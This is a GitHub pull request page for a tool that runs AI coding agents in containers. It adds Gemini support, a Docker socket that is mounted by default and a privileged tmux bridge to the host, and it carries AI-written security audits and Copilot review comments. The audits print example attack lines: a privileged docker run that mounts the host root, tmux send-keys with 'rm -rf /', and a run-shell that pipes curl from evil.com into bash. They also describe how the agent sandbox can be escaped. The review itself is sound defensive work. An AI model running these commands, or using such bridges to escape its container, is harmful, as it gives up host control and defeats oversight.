Skip to content

feat: add tmux bridge, gemini support, and build resilience#145

Merged
lroolle merged 3 commits intomainfrom
feat/gemini-cli
Jan 8, 2026
Merged

feat: add tmux bridge, gemini support, and build resilience#145
lroolle merged 3 commits intomainfrom
feat/gemini-cli

Conversation

@lroolle
Copy link
Copy Markdown
Member

@lroolle lroolle commented Dec 2, 2025

Summary

  • Add tmux bridge for container-to-host tmux control (deva-bridge-*)
  • Build tmux 3.6a from source with SHA256 verification
  • Fix docker-entrypoint.sh usermod error handling for mounted volumes
  • Fix version-upgrade build resilience (gh api vs curl for rate limits)
  • Add gemini agent support and Docker-in-Docker auto-mount

Security

tmux bridge is a PRIVILEGED HOST BRIDGE - container gains full tmux control. Documented in AGENTS.md under "Bridges (privileged)".

Test plan

  • Shell linting passes
  • Basic tests pass
  • Host: ./scripts/deva-bridge-tmux-host
  • Container: deva-bridge-tmux && tmux -S /tmp/host-tmux.sock list-sessions

- Add gemini.sh agent with oauth, api-key, vertex, and compute-adc auth
- Auto-mount /var/run/docker.sock by default with --no-docker opt-out
- Switch copilot-api to ericc-ch fork for latest features
- Track gemini-cli, atlas-cli, and copilot-api versions in builds
- Enhance version-report with colorized output and release dates
- Reorganize Dockerfile for better cache reuse
- Document container sandboxing architecture and Docker socket security
Copilot AI review requested due to automatic review settings December 2, 2025 15:06
@claude-yolo
Copy link
Copy Markdown
Contributor

claude-yolo bot commented Dec 2, 2025

Claude finished @lroolle's task —— View job


⚠️ SECURITY AUDIT COMPLETE - BLOCKING ISSUES FOUND ⚠️

BLOCKING SECURITY ISSUES 🔴

1. CRITICAL: Docker Socket Auto-Mount Breaks Container Sandbox

Lines 660-662 in deva.sh auto-mount Docker socket by default:

# Auto-mount Docker socket for DinD workflows (opt-out via --no-docker or DEVA_NO_DOCKER=1)  
if [ -z "${DEVA_NO_DOCKER:-}" ] && [ -S /var/run/docker.sock ]; then
    DOCKER_ARGS+=(-v "/var/run/docker.sock:/var/run/docker.sock")
fi

Impact: Agent can escape to host system with root privileges. The "container as sandbox" model is completely broken.

Attack Vector:

# Agent can now do this inside container:
docker run --rm --privileged -v /:/host alpine chroot /host bash
# = Full root access to host system

2. HIGH: Weak Socket Permission Fix

Lines 222-225 in docker-entrypoint.sh:

fix_docker_socket_permissions() {
    if [ -S /var/run/docker.sock ]; then
        chmod 666 /var/run/docker.sock 2>/dev/null || true  # ← DANGEROUS
    fi
}

Impact: World-writable Docker socket allows any process Docker API access.

HIGH-RISK FINDINGS ⚠️

3. Configuration Command Injection

Lines 1140-1149 in deva.sh - insufficient validation for $(...) patterns in config files.

4. Path Traversal in CONFIG_ROOT

Lines 53-70 in agents/gemini.sh - weak path validation allows potential escape.

5. External Network Dependencies

New version-report script fetches from multiple URLs without validation:

  • CLAUDE_CHANGELOG_URL (line 4)
  • GitHub API calls (lines 217, 288, 292)
  • NPM registry access

Risk: Supply chain attacks via compromised external endpoints.

CONTAINER SECURITY ANALYSIS

Container Boundary Assessment: FAILED 🔴

  • Docker socket auto-mount grants root-equivalent host access
  • Agent can create privileged containers
  • Agent can mount any host filesystem path
  • Container isolation is effectively disabled by default

Authentication Flow Assessment: MEDIUM RISK ⚠️

  • Gemini auth flows appear secure with proper validation
  • Complex credential mounting logic needs audit
  • Potential for OAuth token leakage between auth methods

Privilege Escalation Assessment: HIGH RISK 🔴

  • Docker socket access = instant root escalation
  • World-writable socket permissions
  • sudo privileges for deva user (lines 143-145 in Dockerfile)

REQUIRED ACTIONS BEFORE MERGE

MUST FIX (Blocking):

  1. Remove Docker socket auto-mount - require explicit --docker flag
  2. Remove socket chmod 666 - don't weaken Docker socket permissions
  3. Add integration tests for container escape attempts

SHOULD FIX (High Priority):

  1. Audit credential mounting logic - lines 2070-2154 in deva.sh
  2. Strengthen config validation - use allowlist for command substitution
  3. Add URL validation - for external dependencies in version-report

ARCHITECTURAL CONCERN

This PR fundamentally changes the security model from "container as sandbox" to "container with host privileges". While this may be intentional for development workflows, it:

  • Violates the principle of least privilege
  • Makes the YOLO name ironically accurate (security-wise)
  • Requires explicit security warnings in documentation

RECOMMENDATION: Consider a "developer mode" flag for Docker socket access rather than making it default.


Audit Summary: 2 blocking security issues, 5 high-risk findings. Docker socket auto-mount breaks the core security model and must be addressed before merge.

Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

fi)
CLAUDE_CODE_VERSION := $(shell npm view @anthropic-ai/claude-code version 2>/dev/null || echo "2.0.1")
CODEX_VERSION := $(shell npm view @openai/codex version 2>/dev/null || echo "0.42.0")
GEMINI_CLI_VERSION := $(shell npm view @google/gemini-cli version 2>/dev/null || echo "latest")
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The fallback value "latest" for GEMINI_CLI_VERSION is inconsistent with the other version variables which use actual semantic versions (e.g., "2.0.1", "0.42.0"). The "latest" tag is a valid npm tag but not a version number, which could cause issues in version comparison logic throughout the codebase (e.g., in scripts/version-report.sh and Makefile version checking). Use an actual version number as the fallback, e.g., echo "0.1.0" or fetch the resolved version of "latest".

Suggested change
GEMINI_CLI_VERSION := $(shell npm view @google/gemini-cli version 2>/dev/null || echo "latest")
GEMINI_CLI_VERSION := $(shell npm view @google/gemini-cli version 2>/dev/null || echo "0.1.0")

Copilot uses AI. Check for mistakes.
Comment on lines +58 to +61
*..* | *//* | *$'\n'* | *$'\t'*)
auth_error "CONFIG_ROOT contains invalid path pattern: $CONFIG_ROOT"
;;
esac
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The path pattern validation on line 58 checks for *//* which would match paths containing double slashes (like /home//user). However, this pattern itself contains an error - it should be *\/\/* or the regex needs to handle this differently. The current pattern *//* may not work as intended in a case statement. Consider testing this validation or using a more explicit approach like [[ "$CONFIG_ROOT" =~ // ]] to detect double slashes.

Suggested change
*..* | *//* | *$'\n'* | *$'\t'*)
auth_error "CONFIG_ROOT contains invalid path pattern: $CONFIG_ROOT"
;;
esac
*..* | *$'\n'* | *$'\t'*)
auth_error "CONFIG_ROOT contains invalid path pattern: $CONFIG_ROOT"
;;
esac
if [[ "$CONFIG_ROOT" =~ // ]]; then
auth_error "CONFIG_ROOT contains invalid path pattern (double slash): $CONFIG_ROOT"
fi

Copilot uses AI. Check for mistakes.
Comment on lines +4 to +7
if [ -f "$(dirname "${BASH_SOURCE[0]}")/shared_auth.sh" ]; then
source "$(dirname "${BASH_SOURCE[0]}")/shared_auth.sh"
fi

Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Inconsistent sourcing pattern between agent files. agents/claude.sh and agents/codex.sh now use unconditional source (line 4), while agents/gemini.sh uses conditional sourcing with a file existence check (lines 4-6). For consistency and to avoid potential errors if shared_auth.sh is missing, all three agent files should use the same pattern. Recommend using the simpler unconditional source as in claude.sh and codex.sh, since shared_auth.sh is a required dependency.

Suggested change
if [ -f "$(dirname "${BASH_SOURCE[0]}")/shared_auth.sh" ]; then
source "$(dirname "${BASH_SOURCE[0]}")/shared_auth.sh"
fi
source "$(dirname "${BASH_SOURCE[0]}")/shared_auth.sh"

Copilot uses AI. Check for mistakes.
Comment on lines +287 to +291
get_latest_atlas_commit() {
gh api repos/lroolle/atlas-cli/commits/main --jq '.sha' 2>/dev/null || echo "789eefa650d66e97dd8fddceabf9e09f2a5d04a4"
}

get_latest_copilot_api_commit() {
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Hardcoded commit SHAs as fallback values may become stale over time. If the GitHub API calls fail, users will get outdated defaults. Consider adding a comment explaining these are fallback values for offline scenarios, or fetch from a cached local file that's updated periodically.

Suggested change
get_latest_atlas_commit() {
gh api repos/lroolle/atlas-cli/commits/main --jq '.sha' 2>/dev/null || echo "789eefa650d66e97dd8fddceabf9e09f2a5d04a4"
}
get_latest_copilot_api_commit() {
get_latest_atlas_commit() {
# Fallback SHA below is hardcoded for offline or API failure scenarios.
# WARNING: This value may become stale over time. Update periodically or consider a local cache.
gh api repos/lroolle/atlas-cli/commits/main --jq '.sha' 2>/dev/null || echo "789eefa650d66e97dd8fddceabf9e09f2a5d04a4"
}
get_latest_copilot_api_commit() {
# Fallback SHA below is hardcoded for offline or API failure scenarios.
# WARNING: This value may become stale over time. Update periodically or consider a local cache.

Copilot uses AI. Check for mistakes.
AUTH_METHOD="$PARSED_AUTH_METHOD"
local -a remaining_args=("${PARSED_REMAINING_ARGS[@]+"${PARSED_REMAINING_ARGS[@]}"}")

AGENT_COMMAND+=("--yolo")
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] The --yolo flag is hardcoded for all Gemini invocations, which bypasses permission prompts. While this aligns with the documented "container as sandbox" philosophy in AGENTS.md, there's no option for users who want more granular control. Consider adding a GEMINI_YOLO environment variable (defaulting to true) to allow opt-out for users who prefer permission prompts despite the container sandbox.

Suggested change
AGENT_COMMAND+=("--yolo")
# Add --yolo unless GEMINI_YOLO is explicitly set to "false"
if [ "${GEMINI_YOLO:-true}" != "false" ]; then
AGENT_COMMAND+=("--yolo")
fi

Copilot uses AI. Check for mistakes.
…-run flags

- Move Makefile versions-up logic to scripts/version-upgrade.sh
- Add release-utils.sh with unified tool registry and version fetching
- Support --trace flag in claude agent for request tracing via claude-trace
- Add --dry-run flag to show docker command without execution
- Fix duplicate --dangerously-skip-permissions injection
- Fix autolink checks to handle existing symlinks correctly
- Switch atlas-cli to release-based versioning
- Add clickhouse-client to rust image
- Build tmux 3.6a from source with SHA256 verification
- Add deva-bridge-tmux-host (host TCP listener) and deva-bridge-tmux
  (container Unix socket proxy) scripts for macOS<->Linux socket bridging
- Fix docker-entrypoint.sh usermod error handling for mounted volumes
- Document bridge architecture and security model in AGENTS.md
- Fix version-upgrade build resilience (gh api vs curl for rate limits)
- Add LSP support planning devlog
@claude-yolo
Copy link
Copy Markdown
Contributor

claude-yolo bot commented Jan 8, 2026

Claude finished @lroolle's task in 2m 33s —— View job


Security Audit Complete ⚠️ BLOCKING ISSUES FOUND

Todo List:

  • Review existing security audit findings
  • Analyze Docker socket auto-mount implementation
  • Audit Gemini authentication flows
  • Check container entrypoint security
  • Review privilege escalation vectors
  • Examine shell injection possibilities
  • Analyze configuration validation
  • Review external dependency security
  • Categorize findings by severity
  • Provide actionable recommendations

BLOCKING SECURITY ISSUES 🔴

1. CRITICAL: Docker Socket Auto-Mount Breaks Container Sandbox

Location: Lines 662-664 in deva.sh

# Auto-mount Docker socket for DinD workflows (opt-out via --no-docker or DEVA_NO_DOCKER=1)
if [ -z "${DEVA_NO_DOCKER:-}" ] && [ -S /var/run/docker.sock ]; then
    DOCKER_ARGS+=(-v "/var/run/docker.sock:/var/run/docker.sock")
fi

Impact: Agent can escape container with root privileges. Container sandbox model is completely broken.

Attack Vector:

# Agent can execute inside container:
docker run --rm --privileged -v /:/host alpine chroot /host bash
# = Full root access to host system

2. HIGH: World-Writable Docker Socket

Location: Line 239 in docker-entrypoint.sh

chmod 666 /var/run/docker.sock 2>/dev/null || true

Impact: All processes gain Docker API access, weakening security further.

3. CRITICAL: tmux Bridge Creates Privileged Host Escape

Location: scripts/deva-bridge-tmux and scripts/deva-bridge-tmux-host

The tmux bridge explicitly documents itself as a "PRIVILEGED HOST BRIDGE" (lines 10-11, 56-58):

# SECURITY WARNING:
#   This is a PRIVILEGED HOST BRIDGE. Container gains full tmux control.
#   Effectively a sandbox escape - container can run commands on host.

Attack Vector:

# Container can send arbitrary commands to host tmux sessions:
tmux -S /tmp/host-tmux.sock send-keys "rm -rf /" Enter
tmux -S /tmp/host-tmux.sock run-shell "curl evil.com/malware | bash"

HIGH-RISK FINDINGS ⚠️

4. Path Validation Weakness in Gemini Auth

Location: Lines 58-61 in agents/gemini.sh

case "$CONFIG_ROOT" in
    *..* | *//* | *$'\n'* | *$'\t'*)  # Incorrect pattern
        auth_error "CONFIG_ROOT contains invalid path pattern: $CONFIG_ROOT"
        ;;
esac

Issue: The *//* pattern in bash case statements doesn't work as intended. This should be *//*) or use a different validation approach.

5. Dynamic Code Execution in Version Scripts

Location: Lines 323-329 in scripts/release-utils.sh

set_current() { eval "_VER_CURRENT_$(tool_key "$1")=\"$2\""; }
get_current() { eval "echo \"\${_VER_CURRENT_$(tool_key "$1"):-}\""; }

Risk: Dynamic variable creation through eval with user-controlled input could enable code injection if tool_key sanitization is insufficient.

6. Insufficient Command Substitution Validation

Location: Lines 1140-1154 in deva.sh

The validation only allows $(pwd) but uses simple string matching that could be bypassed:

if [[ "$cmd" != "pwd" ]]; then  # Can be bypassed with `pwd;malicious_cmd`

MEDIUM-RISK FINDINGS ⚠️

7. External Network Dependencies Without Validation

Location: scripts/release-utils.sh GitHub API calls (lines 221, 288, 292)

Fetches from external URLs without signature validation or content verification, creating supply chain attack vectors.

8. Hardcoded --yolo Flag for Gemini

Location: Line 21 in agents/gemini.sh

AGENT_COMMAND+=("--yolo")

Forces bypass of all permission prompts with no opt-out mechanism.

ARCHITECTURAL SECURITY ASSESSMENT

Container Boundary: FAILED 🔴

  • Docker socket auto-mount grants root-equivalent host access
  • tmux bridge provides command execution on host
  • Container isolation is effectively disabled by default

Privilege Model: FUNDAMENTALLY BROKEN 🔴

  • "Container as sandbox" philosophy violated by default configuration
  • Multiple privilege escalation paths available
  • No meaningful containment for AI agents

REQUIRED ACTIONS BEFORE MERGE

MUST FIX (Blocking):

  1. Remove Docker socket auto-mount - require explicit --docker flag
  2. Remove socket permission weakening - don't chmod 666 Docker socket
  3. Disable tmux bridge by default - too dangerous for general use
  4. Fix path validation pattern - correct bash case statement in gemini.sh

SHOULD FIX (High Priority):

  1. Replace eval with safer alternatives - in version scripts
  2. Strengthen command substitution validation - prevent injection bypasses
  3. Add URL/content validation - for external dependencies

RECOMMENDATION: This PR fundamentally changes the security model from "secure container sandbox" to "privileged development environment with host access." While this may be intentional, it requires:

  1. Clear documentation of security implications
  2. Opt-in rather than opt-out for dangerous features
  3. Explicit warnings about host compromise risks

The "YOLO" name has become ironically accurate from a security perspective.


Audit Summary: 3 blocking issues, 8 high/medium-risk findings. Container security model is fundamentally compromised and must be addressed before merge.

@lroolle lroolle changed the title feat: add gemini agent support and Docker-in-Docker auto-mount feat: add tmux bridge, gemini support, and build resilience Jan 8, 2026
@lroolle lroolle merged commit 041481a into main Jan 8, 2026
3 checks passed
@lroolle lroolle deleted the feat/gemini-cli branch January 8, 2026 09:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants